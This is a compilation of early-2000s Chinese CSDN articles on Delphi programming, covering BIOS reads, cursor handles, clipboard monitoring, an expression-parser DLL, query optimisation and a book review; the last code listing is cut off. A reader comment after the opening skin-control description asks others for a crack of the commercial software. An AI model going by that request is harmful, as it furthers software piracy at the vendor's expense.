可以替你的软件作“换肤手术”，可以更换软件的外观，形状、颜色以及看起来的感觉。让软件界面不一定是长方形的，也可以是圆形、椭圆形或者不规则形状。不只是主窗口画面可以做变化，连软件的其他设定画面、对话框等等也都可以依照你的意思来设计，半透明、阴影等效果都可以。你还可以把软件设计得像是MAC、UNIX等其他操作系统的软件的样子。设计步骤有四个：1.先用绘图软件画出一张图，并且储存成bmp格式。2.用文本编辑软件编辑一个Skin.xml文件。3.用Visual Basic设计一个对话框，并且把ActiveSkin Control放进去。你必须把SkinPath指定到放Skin文件的位置。4.编辑ActiveSkin Control的OnSkinNotify。注意：安装后请先执行Install.bat，然后才能开始使用。

    哈，不知道哪个同志有破解的？有可不要不说一下呀！我做梦都在想它呀！


CSDN_文档中心_获得BIOS信息

获取主板Bios信息
CoDelphi.com

摘　要：用Delphi调用Bios的信息
关键字：BIOS
类　别：系统控制
添加一个Tbutton和一个Tmemo组件到窗体并写如下代码到按钮的OnClick事件：

with Memo1.Lines do
begin
Add('MainBoardBiosName:'+^I+string(Pchar(Ptr($FE061))));
Add('MainBoardBiosCopyRight:'+^I+string(Pchar(Ptr($FE091))));
Add('MainBoardBiosDate:'+^I+string(Pchar(Ptr($FFFF5))));
Add('MainBoardBiosSerialNo:'+^I+string(Pchar(Ptr($FEC71))));
end;

以上代码在Win9X上运行通过。

投稿人：grhunter　投稿日期：2001-3-28 16:50:00


CSDN_文档中心_获取其他线程的光标句柄[DELPHI]

当光标被另外一个线程掌握时，就无法用GetCursor()应用接口获得光标句柄。本文阐述如何在任何线程掌握光标时都能够获取光标句柄。

=========================================================

{
  当光标被另外一个线程掌握时，就无法用GetCursor()应用接口获得光标句柄。
  本文阐述如何在任何线程掌握光标时都能够获取光标句柄。
  例如，想在屏幕截取程序中放置光标时该如何做。
}

function GetCursorHandle: HCURSOR;
var
hWindow: HWND;
pt: TPoint;
pIconInfo: TIconInfo;
dwThreadID, dwCurrentThreadID: DWORD;
begin
// 检查哪个窗体掌握光标
GetCursorPos(pt);
hWindow := WindowFromPoint(pt);

// 获得光标所有者的线程ID
dwThreadID := GetWindowThreadProcessId(hWindow, nil);

// 获得当前线程的ID
dwCurrentThreadID := GetCurrentThreadId;

// 如果光标所有者的线程不是当前线程，就要把光标所有者的线程配属到当前线程。
//然后调用GetCursor()来获得正确的光标句柄(hCursor)。

if (dwCurrentThreadID <> dwThreadID) then
begin
if AttachThreadInput(dwCurrentThreadID, dwThreadID, True) then
begin
// 获得光标句柄
Result := GetCursor;
AttachThreadInput(dwCurrentThreadID, dwThreadID, False);
end;
end else
begin
Result := GetCursor;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
CurPosX, CurPoxY: Integer;
MyCursor: TIcon;
pIconInfo: TIconInfo;
begin
MyCursor := TIcon.Create;
try
MyCursor.Handle := GetCursorHandle;
// 获得光标位置
GetIconInfo(MyCursor.Handle, pIconInfo);
CurPosX := pIconInfo.xHotspot;
CurPoxY := pIconInfo.yHotspot;
// 在窗体上画出光标
Canvas.Draw(CurPoxY, CurPoxY, MyCursor);
finally
MyCursor.ReleaseHandle;
MyCursor.Free;
end;
end;

// 另外一种解决办法：

procedure TForm1.Timer1Timer(Sender: TObject);
var
CI: TCursorInfo;
begin
CI.cbSize := SizeOf(CI);
GetCursorInfo(CI);
Image1.Picture.Icon.Handle := CI.hCursor;
end;


CSDN_文档中心_基于中间件的查询优化模型

基于中间件的查询优化模型

传统的客户/服务器模式是一种双层的结构，通常是一台个人计算机做客户机使用（运行客户端程序），另外一台服务器用于存放后台的数据库系统，应用程序可客户端直接相连，中间没有其他的逻辑。在MIS系统的软件开发过程中，查询数据是必不可少的一个重要部分，而如何帮助用户在数据库中进行快速而有效的查询数据是软件开发人员十分关心的事情。我从我做过的2个MIS系统中关于数据查询方面，大致总结出以下几种方法：

1． 固定结构方式：即程序员根据客户的业务要求定制客户端查询程序，这种定制的程序没有通用性。或者业务逻辑也存在于后台数据库中，以触发器(trigger)的方式实现。这种方式有一个很大的缺点，就是一旦客户的业务逻辑有所改变的话，将引起应用程序的修改以及后台触发器的修改，将所有程序模块都重新修改、编译、连接的工作量是相当大的。另外由于这种结构将用户界面和业务逻辑以及数据源绑定在一起，会消耗客户机的大量资源，对客户机来说是一个很大的负担。

2． 灵活结构方式：既除了使用固定查询命令以外，再做一些让系统管理人员可以修改查询命令的界面。也就是让系统管理人员可以编写

SQL语句的方式，这种方式虽然可以提高查询质量，但对与非专业的操作人员来讲，是很困难的。

3． 基于中间件的数据查询优化模型：本文就以中间件和分布式系统为理论基础，以曾经开发过的成都市康泰电器MIS系统为例介绍这种数据查询模型，相信它给用户提供了更方便和更快速的服务。

1． 什么是中间件：

为解决分布异构问题，人们提出了中间件(middleware)的概念。中间件是位于平台(硬件和操作系统)和应用之间的通用服务，如图3所示，这些服务具有标准的程序接口和协议。针对不同的操作系统和硬件平台，它们可以有符合接口和协议规范的多种实现。也许很难给中间件一个严格的定义，想了解的读者可以去http://www.huihoo.com/middleware/了解相关资料。

2． 开发人员在做查询模块的时候应该注意的问题：

一般来说，客户只关心他们所需要的数据和怎样查询出这些数据，而对与这条查询语句是和生成的，就不会关心了。举一个例子，一个库房管理系统，包括入库情况，出库情况和结存情况等等。客户只关心如何得到一个产品的出库数量，入库数量和当前的结存数量。而对于这个库房管理系统是如何生成，和查询语句的SQL代码和数据表，一律不感兴趣。以康泰电器MIS系统为例，它采用的是client/server结构，根据我对MIS系统的了解，只要应用系统的客户端数目在200个用户以内而且是在同一个局域网内，那么client/server结构在执行MIS系统就足够了。但是，众所周知client/server结构存在很多问题。既前面固定结构方式中所谈到的一些问题，导致它影响了数据库的执行效率。

加上近年来INTERNET/INTRANET应用的兴起，对于企业的运作方式有了重大的影响，康泰电器的企业主管要求开发产品查询的信息给所有在INTERNET/INTRANET上的潜在用户，所以MIS系统必须能够让客户使用浏览器来查询所有的产品信息，事实上系统结构已经进入了分布式的结构了。因为它多了一台WEB 服务器。以前的系统要提供INTERNET/INTRANET的存取形式时，旧的MIS系统必然以新的技术编写一次。这必然加大了开发人员的工作，也提高了成本。所以我想，只是由于多了B\S的查询方式，为什么不利用现在流行的中间件的思想开发一个新的查询模型呢？

3．查询系统的模型：

我通过分析一些查询的语句，了解到了他们的一些共同性，并且共同性比较

突出，因为他们不是离散出现的。比如所有关于库房查询的语句构成了库房管理查询系统，所有财务收支的查询语句构成了收支查询系统，我将查询的语句进行分类处理，structN_class={Table1,Table2…..Tablen};Datawarehouse={ struct 1_class, struct 2_class……structN_class}.而我就是要在structN_class上使用微软的DCOM 技术创建我们的查询系统。

它的主要技术特征是把查询语句和系统的界面完全分开，不是原来的client/server结构了，我把client分为2个部分，client和SelectCom-Server.。不管用户是在client端，还是在采用浏览器界面。把用户输入的查询条件和类别先提交到SelectCom-Server. SelectCom-Server.根据用户输入的查询条件和类别自动生成查询语句。然后把它们提交给数据库，最后数据库运行查询语句，再将查询 的数据交给SelectCom-Server. SelectCom-Server.在把数据返回给client端，这样就完成了查询工作。

我认为它的好处有以下几点：

由于SelectCom-Server.和client是分离的，那么一个用户使用过的查询条件可以被其它用户使用共享。这样使网络和数据库的开销大大降低了。还可以根据已经使用过的查询条件来缩小查询的范围。在由于我已经把深一级的权限加在了SelectCom-Server.上，它就可以拒绝一些核心数据的查询，提高了数据的安全性

也减轻了代码的从用性，因为这种分布式的系统，考虑安全性按照常规不仅要完善client/server结构，而且要完善B\S结构。再者，它还有利与系统管理人员的维护，他要排错就只需要对SelectCom-Server.上的查询语句进行分析。

4实现：

限与篇幅的问题，我不会把DCOM实现的代码写出来，因为这种分布式系统接口编程牵涉到的东西太多了，只是谈一下查询语句的构成原理和它的优化，这才是最主要的。

但是这其中牵涉的东西也很多，比如：合理使用索引，避免或简化排序，消除对大型表行数据的顺序存取，避免相关子查询，用排序来取代非顺序存取等等。

先说构成的原理，查询subsentence的生成依据是各个字段属于哪个关系表而产生的，当同一个字段属于2个关系表共同拥有的时候，那么它就是连接的字段。

例如有3个关系表：

table1(Rnumber,Name,Guige),table2(Cnumber,Xinghao,Guige),table3(Score,Guige)

那么可以生成一个查询subsentence的成员N=table1.Guige= table2.Guige.

而对于如何实现一个用户使用过的查询条件可以被其它用户使用共享如下所叙述：关键是建立临时文件，（我把其优化方式也加在其中）。以曾经开发过的成都市康泰电器MIS系统为例，把表的一个子集进行排序并创建临时表，有时能加速查询。它有助于避免多重排序操作，而且在其他方面还能简化优化器的工作。例如：
SELECT cust.name，rcvbles.balance，……other columns
FROM cust，rcvbles
WHERE cust.customer_id = rcvlbes.customer_id
AND rcvblls.balance>0
AND cust.postcode>“98000”
ORDER BY cust.name
如果这个查询要被执行多次而不止一次，可以把所有未付款的客户找出来放在一个临时文件中，并按客户的名字进行排序：
SELECT cust.name，rcvbles.balance，……other columns
FROM cust，rcvbles
WHERE cust.customer_id = rcvlbes.customer_id
AND rcvblls.balance>0
ORDER BY cust.name
INTO TEMP cust_with_balance
然后以下面的方式在临时表中查询：
SELECT ＊ FROM cust_with_balance
WHERE postcode>“98000”
临时表中的行要比主表中的行少，而且物理顺序就是所要求的顺序，减少了磁盘I/O，所以查询工作量可以得到大幅减少。为了加速查询语句的生成和搜索我们使用的临时缓存表。进行搜索时，首先搜索临时缓存表，再搜索语句生成表。
但是要注意的是临时表创建后不会反映主表的修改。在主表中数据频繁修改的情况下，注意不要丢失数据。但是我到现在还没有完全的解决这个问题，有兴趣的读者可以想想。

5．查询语句的存储结构：

一个查询语句可以分解成一个或许多的查询subsentence，一个查询subsentence还可以分解成多个更小的查询subsentence。实际上他们是一个树型结构，所以每一个新的查询语句就是新的父节点。我们的临时缓存表就是已这种结构进行存储的。

6．结束语

此模型在实际的运用中运行良好，而且对于用户来说简单实用，基本满足了用户的分布式系统的要求。尽管用户对查询的要求不一致，但是利用基于中间件的查询优化模型具有友好的人机交互界面，查询条件能够自动灵活的生成，增加了实用性。对于开发人员来说减少了工作量，在提高了数据的安全性的同时也减轻了代码的二次开发等等。


CSDN_文档中心_几本我不喜欢的Delphi书籍（之一）

几本我不喜欢的Delphi书籍（之一）

作者: Musicwind®

创建时间: 2001-10-24

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

前言：写作此文的三个动机：其一、我要发泄自己的不平——因为我花了大把的银子买到的却是让我后悔不迭的书籍；其二、我想给诸位一个忠告——或者是建议，在品尝苦涩之后，我并不希望有更多的人和我有一样的遭遇；其三、我想质问某些人，是否他们当初出版这些书的时候，心里想着太多的钱！钱！钱！

谜底终于要揭晓了！我心里一阵畅快！虽然还有一丝犹豫——我是否真要把这篇文章写完？为了一本自己不喜欢的书？是否值得花费这么多的“青春”？可是我顾不了那许多了——如果心里的话不说出来，也许我这辈子都不会安心。

书名：《Delphi 数据库编程技术》。

出版社：众所熟知的人民邮电出版社。作者：……[作者在此删去四个名字]

我想，大家对这家出版社的出版风格应该有所耳闻（或者亲身体会）吧？总结一下，那就是当你觉得某本书写得不错的时候（套用一句广告语：“价格便宜量又足，挺好的”），你看看它的出版商，绝不会是这家；而当你发觉某本书不太令人满意的时候，你看看它的出版商，十有八九就是这家——这已经不成为一种巧合，因为世上没有这样的巧合——而已经成为了一种规律。因此，当后来我再看到“人民邮电出版社”的时候，我就不再抱有任何期望了——期望它如何让我满意，而此时身体里的某个部位也会难受好一阵子……[作者在此删去1412个字]。

价格：RMB 43.00元。

所谓一分钱一分货的道理在这里是行不通的。

内容——评价一本书的好坏当然要看内容。看看吧，看看这本书给我们带来了什么？给当时的我——一个技术新手(Biginner)误导了一些什么东西。

“前言：本书面向各个层次的读者：从未使用过Delphi，但有一定编程语言基础的读者可以通过本书完成对Delphi的学习；对于曾经使用过Delphi却没有数据库开发经验的拥护，更可以通过本书学习，领悟到开发数据库的精髓，成为数据库开发的高手；对于已经有Delphi数据库开发经验的读者，也可以从本书中获取一些编程的灵感，完全把握Delphi的内核，并充实相关知识，完成高质量代码的编写。”

哇塞！“总而言之，这本书就是适合您。不管您属于何种情况，买这本书，就是值！”这样的漂亮话可真的能唬人啊！事实的确如此吗？我们看看它的章节编排就可以略知一二了。（哎，费这么多的口舌……我还是快一些将它了断了吧！）

以下将书中各大章列出，附评论。

第一章 Delphi基础知识

评论：对Delphi的总体介绍，基本上翻译自帮助文件的New Features一节；

第二章 Delphi快速入门

评论：主要介绍IDE，穿插大量的屏幕抓图（包括一个Delphi 4的启动画面）实在有为了篇幅而滥竽充数之嫌。

第三章 Object Pascal 语言基础

评论：名为Object Pascal，但没有一个字讲到Object，没有一丝有关面向对象的语言特性的介绍。而具体的内容，也无非是数据类型（枚举，子界，数组），过程与函数等等。查查帮助就知道了——或许作者也就是将帮助翻译一下，或者转述一下——也未可知也。这一章内容的描述，显然对读者定位定位的层次过低了——对于过程和函数还要介绍半天——难道我们的读者真的是完完全全的门外汉吗？

第四章 用Delphi的对象进行编程

评论：该章提到了类的三大特性：封装，继承和多态，并且对于异常的处理还特意留出一节讲述。但是对于Object Pascal语言特性的介绍实在过于单薄了。”Object Pascal程序代码的编写”一节的介绍也显得有些画蛇添足之感——对于单元的框架（inteface,use,implementation等等部分）是否值得花那么多篇幅去介绍呢？

第五章 数据库系统介绍

第六章 使用数据库访问控件

第七章 使用数据浏览控件

第八章 使用Delphi数据库附件

第九章 报表制作与统计处理

第十章 SQL语言使用与编程

第十一章 进一步理解数据集控件

第十二章 Delphi客户/服务应用开发

第十三章 MIDAS编程

以上各章着重讲述了Delphi在数据库方面的应用。因为Delphi提供了许多数据库相关的组件——因此，此书不可避免的在数据库组件的使用介绍中花费了大量的篇幅——而这一点，往往给初学者一种误导——是否开发数据库应用就只是使用现有的组件呢？是否Delphi开发的实质就在于使用现有的VCL组件呢？

“SQL语言使用与编程”这一章的位置略为靠后了一些。不知道作者的本意是否认为该部分内容对于太难而有意放到后面？

书中充斥了数不清的源代码——好大一部分来自Delphi的Examples！作者以剖析源代码的名义，堂而皇之的将它们一一收罗。且不问是否有盗版的嫌疑，就引用的这些例子而言，我想稍有学力的读者，“领悟之”应该不成问题吧。

综述：对读者定位的不明确是该书入选“不喜欢的书籍”之列最根本原因。想让自己的书适合各个阶层的读者，往往导致自己的书不能被任何阶层的读者所接受。不被接受并不表示没有人购买——想必此书推出之时，出版商们定然也是大赚其钱的。因为有许多辨识力不强的初学者(如我)——被作者的花言巧语所蒙骗——而慷慨解囊。而其中有一个会在今天，写一篇文章来表示自己的不满和后悔——这大概也是那些始作甬者不曾料想的吧。

Musicwind®@HangZhou.Zhejiang.China

2001-10-30

更多文章

[文终]


CSDN_文档中心_计算出用字符串表示的数学表达式的值

// built by Liu Yang 2002.1.8

library Expression;

uses Dialogs, Math, SysUtils;

Const
Symbol_Mod='M'; Symbol_Div='D';
Symbol_Shl='L'; Symbol_Shr='R';
Symbol_Or='O'; Symbol_Xor='X';
Symbol_And='A';

function ConvertExpression(ExpressionString:PChar):PChar; stdcall;
var inputexp:string;
begin
inputexp:=ExpressionString;
//convert input expression to recognize expression
if pos('=',inputexp)=0 then inputexp:=inputexp+'=' else inputexp:=Copy(inputexp,1,Pos('=',inputexp));
inputexp:=UpperCase(inputexp);
inputexp:=StringReplace(inputexp,' ','',[rfReplaceAll]);
inputexp:=StringReplace(inputexp,'MOD',Symbol_Mod,[rfReplaceAll]);
inputexp:=StringReplace(inputexp,'DIV',Symbol_Div,[rfReplaceAll]);
inputexp:=StringReplace(inputexp,'AND',Symbol_And,[rfReplaceAll]);
inputexp:=StringReplace(inputexp,'XOR',Symbol_Xor,[rfReplaceAll]);
inputexp:=StringReplace(inputexp,'OR',Symbol_Or,[rfReplaceAll]);
inputexp:=StringReplace(inputexp,'SHL',Symbol_Shl,[rfReplaceAll]);
inputexp:=StringReplace(inputexp,'SHR',Symbol_Shr,[rfReplaceAll]);
inputexp:=StringReplace(inputexp,'(-','(0-',[rfReplaceAll]);
if pos('-',inputexp)=1 then inputexp:='0'+inputexp;
Result:=PChar(inputexp);
end;

function ParseExpression(ExpressionString:PChar): extended; stdcall;
var
nextch:char;
nextchpos,position:word;
inputexp:string;
procedure expression(var ev:extended);forward;
procedure readnextch;
begin
repeat
if inputexp[position]='=' then nextch:='='
else
begin
inc(nextchpos);
inc(position);
nextch:=inputexp[position];
end;
until (nextch<>' ') or eoln;
end;
procedure error(ErrorString:string);
begin
MessageDlg('Unknown expression : '+ErrorString,mterror,[mbok],0);
exit;
end;
procedure number(var nv:extended);
var radix:longint; snv:string;
function BinToInt(value: string): integer;
var i,size:integer;
begin // convert binary number to integer
result:=0;
size:=length(value);
for i:=size downto 1 do
if copy(value,i,1)='1'
then result:=result+(1 shl (size-i));
end;
begin
nv:=0;
snv:='';
while nextch in ['0'..'9','A'..'F'] do
begin
// nv:=10*nv+ord(nextch)-ord('0');
snv:=snv+nextch;
readnextch;
end;
// parse Hex, Bin
if snv<>'' then
if snv[Length(snv)]='B'
then nv:=BinToInt(Copy(snv,1,Length(snv)-1))
else if nextch='H' then begin nv:=StrToInt('$'+snv); readnextch; end
else nv:=StrToInt(snv);
if nextch='.' then
begin
radix:=10;
readnextch;
while nextch in ['0'..'9'] do
begin
nv:=nv+(ord(nextch)-ord('0'))/radix;
radix:=radix*10;
readnextch;
end;
end;
end;
procedure factor(var fv:extended);
Var Symbol:string;
function CalcN(Value:integer):extended;
var i:integer;
begin
Result:=1;
if Value=0 then Exit
else for i:=1 to Value do
Result:=Result*i;
end;
function ParseFunction(var FunctionSymbol:string):boolean;
begin
FunctionSymbol:='';
while not (nextch in ['0'..'9','.','(',')','+','-','*','/','=']) do
begin
FunctionSymbol:=FunctionSymbol+nextch;
readnextch;
end;
if FunctionSymbol='ABS' then Result:=true else
if FunctionSymbol='SIN' then Result:=true else
if FunctionSymbol='COS' then Result:=true else
if FunctionSymbol='TG' then Result:=true else
if FunctionSymbol='TAN' then Result:=true else
if FunctionSymbol='ARCSIN' then Result:=true else
if FunctionSymbol='ARCCOS' then Result:=true else
if FunctionSymbol='ARCTG' then Result:=true else
if FunctionSymbol='ARCTAN' then Result:=true else
if FunctionSymbol='LN' then Result:=true else
if FunctionSymbol='LG' then Result:=true else
if FunctionSymbol='EXP' then Result:=true else
if FunctionSymbol='SQR' then Result:=true else
if FunctionSymbol='SQRT' then Result:=true else
if FunctionSymbol='PI' then Result:=true else
if FunctionSymbol='NOT' then Result:=true else
if FunctionSymbol='N!' then Result:=true else
if FunctionSymbol='E' then Result:=true else
Result:=false;
end;
begin
Case nextch of
'0'..'9' : number(fv);
'(' : begin
readnextch;
expression(fv);
if nextch=')'
then readnextch else error(nextch);
end
else if ParseFunction(Symbol) then
if nextch='(' then
begin
readnextch;
expression(fv);
if Symbol='ABS' then fv:=abs(fv) else
if Symbol='SIN' then fv:=sin(fv) else
if Symbol='COS' then fv:=cos(fv) else
if Symbol='TG' then fv:=tan(fv) else
if Symbol='TAN' then fv:=tan(fv) else
if Symbol='ARCSIN' then fv:=arcsin(fv) else
if Symbol='ARCCOS' then fv:=arccos(fv) else
if Symbol='ARCTG' then fv:=arctan(fv) else
if Symbol='ARCTAN' then fv:=arctan(fv) else
if Symbol='LN' then fv:=ln(fv) else
if Symbol='LG' then fv:=ln(fv)/ln(10) else
if Symbol='EXP' then fv:=exp(fv) else
if Symbol='SQR' then fv:=sqr(fv) else
if Symbol='SQRT' then fv:=sqrt(fv) else
if Symbol='NOT' then fv:=not(Round(fv)) else
if Symbol='N!' then fv:=CalcN(Round(fv)) else
error(symbol);
if nextch=')' then readnextch else error(nextch);
end else begin // parse constant
if Symbol='PI' then fv:=3.14159265358979324 else
if Symbol='E' then fv:=2.71828182845904523 else error(symbol);
end else begin error(Symbol); fv:=1; end;
end;
end;
procedure Power_(var pv:extended);
var
multiop:char;
fs:extended;
begin
factor(pv);
while nextch in ['^'] do
begin
multiop:=nextch;
readnextch;
factor(fs);
case multiop of
'^':if pv<>0.0 then pv:=exp(ln(pv)*fs) else error(multiop);
end;
end;
end;
procedure term_(var tv:extended);
var
multiop:char;
fs:extended;
begin
Power_(tv);
while nextch in ['*','/',Symbol_Mod,Symbol_Div,Symbol_And,Symbol_Shl,Symbol_Shr] do
begin
multiop:=nextch;
readnextch;
Power_(fs);
case multiop of
'*':tv:=tv*fs;
'/':if fs<>0.0 then tv:=tv/fs else error(multiop);
Symbol_Mod:tv:=round(tv) mod round(fs); // prase mod
Symbol_Div:tv:=round(tv) div round(fs); // parse div
Symbol_And:tv:=round(tv) and round(fs); // parse and
Symbol_Shl:tv:=round(tv) shl round(fs); // parse shl
Symbol_Shr:tv:=round(tv) shr round(fs); // parse shr
end;
end;
end;
procedure expression(var ev:extended);
var
addop:char;
fs:extended;
begin
term_(ev);
while nextch in ['+','-',Symbol_Or,Symbol_Xor] do
begin
addop:=nextch;
readnextch;
term_(fs);
case addop of
'+':ev:=ev+fs;
'-':ev:=ev-fs;
Symbol_Or:ev:=round(ev) or round(fs); // parse or
Symbol_Xor:ev:=round(ev) xor round(fs); // parse xor
end;
end;
end;
BEGIN
inputexp:=ConvertExpression(ExpressionString);
if pos('=',inputexp)=0 then
inputexp:=ConvertExpression(ExpressionString);
position:=0;
while inputexp[position]<>'=' do
begin
nextchpos:=0;
readnextch;
expression(result);
end;
END;

function ParseExpressionToStr(ExpressionString:PChar):PChar; stdcall;
var ES:string;
begin
ES:=ExpressionString;
if pos('=',ES)=0
then ES:=ES+'='
else ES:=Copy(ES,1,Pos('=',ES));
ES:=ES+FormatFloat('0.000000000000',ParseExpression(ExpressionString));
Result:=PChar(ES);
end;

function Version:PChar; stdcall;
begin
Result:='Calculator Dll Build 2001.10.25 Made By Liu Yang All Rights Reserved';
end;

Exports
ConvertExpression, ParseExpression, ParseExpressionToStr, Version;
end.


CSDN_文档中心_监视剪贴板内容

冲浪的年代，用过网络蚂蚁的人肯定不少，其中一项监视剪贴板变化的功能让人感觉到不少体贴。本文将介绍在Delphi中如何使用“体贴板”，来丰富自己的软件功能。

Windows使用剪贴板观察器和观察链。剪贴板观察器是一个显示剪贴板当前内容的窗口。通常它应该至少能显示三种普通格式的内容：文字CF_TEXT、位图CF_BITMAP、元文件CF_METAFILEPICT。剪贴板观察链是一系列相互独立的剪贴板观察窗口，它们都能够接受当前发送到剪贴板的内容。我们大致按照以下步骤在窗口中处理有关剪贴板的内容。

首先，使用SetClipboardViewer（HWND）函数向剪贴板观察链中加入一个观察窗口。当剪贴板的内容发生变化时，该窗口会接收到一个WM_DRAWCLIPBOARD消息。该函数需要传递的参数是观察窗口的句柄。返回值也是一个窗口句柄类型，标识了将要加入的下一个窗口。

然后，响应WM_DRAWCLIPBOARD消息处理剪贴板内容的变化。

最后，在程序退出或关闭时需要调用ChangeClipboardChain函数来将自己从观察链中删除。然后调用SendMessage函数把这些消息传递到观察链中的下一个观察窗口。函数ChangeClipboardChain原型如下：

BOOL ChangeClipboardChain(
HWND hWndRemove, //将要删除的窗口的句柄
HWND hWndNewNext //观察链中下一个窗口的句柄
);
Delphi的clipbrd.pas单元中定义了一个类TClipboard，它封装了Windows剪贴板，简化了大量复杂的处理过程。我们在程序中可以直接调用全局函数Clipboard，该函数用于返回TClipboard对象实例，使用这个实例对剪贴板进行剪切、复制和粘贴等操作。下面是TClipboard对象的几个常用的方法和属性的简单介绍。

方法：

Assign：将指定的对象放入剪贴板中。

Open：打开剪贴板，防止其他程序改写剪贴板。在向剪贴板加入多项数据时尤其有用。

Close：关闭剪贴板。应该与打开剪贴板成对使用。

Clear：清空剪贴板。

GetAsHandle：返回剪贴板中指定格式数据的句柄。使用前必须打开剪贴板。

GetComponent：返回剪贴板中的一个控件。Delphi自己使用得多。

HasFormat：查询剪贴板中是否有指定格式的内容。

属性：

AsText：用于读写剪贴板文字内容。

FormatCount：读剪贴板中数据格式的种数。

Formats：返回剪贴板中各种格式的列表。

此外，Delphi中的许多控件中也封装了有关剪贴板处理的操作。下面的一个处理剪贴板的简单例子，只是将剪贴板的文字内容显示为窗口标题。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
Clipbrd;//加入clipbrd单元

type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject;
var Action: TCloseAction);
private
{ Private declarations }
public
NextClipHwnd:HWND;//观察链中下一个窗口句柄
procedure WMDrawClipBoard
(var AMessage:TMessage);
message WM_DRAWCLIPBOARD;
//处理WM_DRAWCLIPBOARD消息过程
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

{ TForm1 }

procedure TForm1.WMDrawClip
Board(var AMessage: TMessage);
begin
//将WM_DRAWCLIPBOARD
消息传递到下一个观察链中的窗口
SendMessage(NextClipHwnd,AMessage.
Msg,AMessage.WParam,AMessage.LParam);
//查询剪贴板中特定格式的数据内容
if (Clipboard.HasFormat(CF_TEXT) or
Clipboard.HasFormat(CF_OEMTEXT)) then
begin
//处理剪贴板中内容
Caption:=Clipboard.asText;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
//获得观察链中下一个窗口句柄
NextClipHwnd:=SetClipBoardViewer(Handle);
end;

procedure TForm1.FormClose
(Sender: TObject; var Action: TCloseAction);
begin
//从观察链中删除本观察窗口
ChangeClipboardChain(Handle,NextClipHwnd);
//将WM_DRAWCLIPBOARD
消息传递到下一个观察链中的窗口
SendMessage(NextClipHwnd,WM_
CHANGECBCHAIN,Handle,NextClipHwnd);
end;

end.
需要注意的是，在处理剪贴板内容变化的消息WM_DRAWCLIPBOARD的过程和关闭窗口事件中使用函数sendmessage把WM_DRAWCLIPBOARD或WM_CHANGECBCHAIN消息传递到观察链中的下一个窗口是必要的，否则有可能其他窗口不能获得类似消息。另外，在使用网络蚂蚁时笔者曾经碰到不能设置剪贴板格式的情况，在此提醒读者注意检查RegisterClipboardFormat等函数的返回值。


CSDN_文档中心_检测Delphi是否正在运行

检测Delphi是否正在运行

http://www.tommstudio.com(2001年4月19日) 作者: Icebird(推荐) 推荐:Icebird
{检测Delphi是否正在运行}
function DelphiIsRunning: Boolean;
const
A1: array[0..12] of char = 'TApplication'#0;
A2: array[0..15] of char = 'TAlignPalette'#0;
A3: array[0..18] of char = 'TPropertyInspector'#0;
A4: array[0..11] of char = 'TAppBuilder'#0;
{$IFDEF WIN32}
{$IFDEF VER130}
T1: array[0..15] of char = 'Delphi 5'#0;
{$ENDIF}
{$IFDEF VER120}
T1: array[0..15] of char = 'Delphi 4'#0;
{$ENDIF}
{$IFDEF VER100}
T1: array[0..15] of char = 'Delphi 3'#0;
{$ENDIF}
{$IFDEF VER90}
T1: array[0..15] of char = 'Delphi 2.0'#0;
{$ENDIF}
{$IFDEF VER93}
T1: array[0..15] of char = 'C++Builder'#0;
{$ENDIF}
{$IFDEF VER110}
T1: array[0..15] of char = 'C++Builder'#0;
{$ENDIF}
{$IFDEF VER125}
T1: array[0..15] of char = 'C++Builder 4'#0;
{$ENDIF}
{$ELSE}
T1: array[0..15] of char = 'Delphi'#0;
{$ENDIF}
begin
Result := (FindWindow(A1,T1)<>0) and
(FindWindow(A2,nil)<>0) and
(FindWindow(A3,nil)<>0) and
(FindWindow(A4,nil)<>0);
end;
{检测Delphi是否正在运行}


CSDN_文档中心_检测系统是不是windows xp

下面的代码可以检查所用的系统是不是windows xp
uses Registry;
...

function IsWinXP: Boolean;
begin
Result := False;
if Win32Platform = VER_PLATFORM_WIN32_NT then
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
if OpenKeyReadOnly('\Software\Microsoft\Windows NT\CurrentVersion') then
Result := (ReadString('ProductName') = 'Microsoft Windows XP');
finally
Free;
end;
end;

//rock
//转载请保留此信息


CSDN_文档中心_检查特殊字符的简单VCL

这是个很简单的组件，编写它的目的也很单纯，就是想解决数据录入时的特殊字符检查问题。一开始要写函数实现，不过觉得麻烦，后来就想到写一个简单的VCL来遍历Form上所有的组件的方法。这个VCL目前只是检查所有的TEdit和TComboBox组件，有兴趣的朋友可以自己扩充功能。

我想这个VCL对于编写数据库程序的人员来说还是有一点帮助的，比如对单引号的Check。

想要检查什么符号只要在属性中设置一下就搞定，而且运行时只需要执行一个Checking函数，他就会自动检查咯。

它的另一个作用就是可以作为编写VCL的简单入门例程。

unit SymbolChecker;

interface

uses
Windows, Messages, SysUtils, Classes, Controls,StdCtrls,Dialogs,StrUtils;

type
TCheckControl = (cTEdit, cTComboBox);
TCheckControls = set of TCheckControl;

TSymbolChecker = class(TComponent)
private
{ Private declarations }
FActive: boolean;
FCheckControls:TCheckControls;
FCheckString:String;
procedure SetActive(Value: boolean);
procedure SetCheckControls(Value: TCheckControls);
procedure SetCheckString(Value: String);
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;
published
{ Published declarations }
procedure Checking();
property Active: boolean read FActive write SetActive default false;
property CheckControls: TCheckControls read FCheckControls write SetCheckControls default [cTEdit, cTComboBox];
property CheckString: String read FCheckString write SetCheckString;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('MyVCL', [TSymbolChecker]);
end;

constructor TSymbolChecker.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
CheckControls := [cTEdit, cTComboBox];
end;

{ Set property Active Value }
procedure TSymbolChecker.SetActive(Value: boolean);
begin
if Value = FActive then exit;
FActive := Value;
end;

{ Set property CheckControls Value }
procedure TSymbolChecker.SetCheckControls(Value: TCheckControls);
begin
if Value = FCheckControls then exit;
FCheckControls := Value;
end;

{ Set property CheckString Value }
procedure TSymbolChecker.SetCheckString(Value: String);
begin
if Value = FCheckString then exit;
FCheckString := Value;
if Trim(FCheckString) = '' then SetActive(false);
end;

procedure TSymbolChecker.Checking();
var
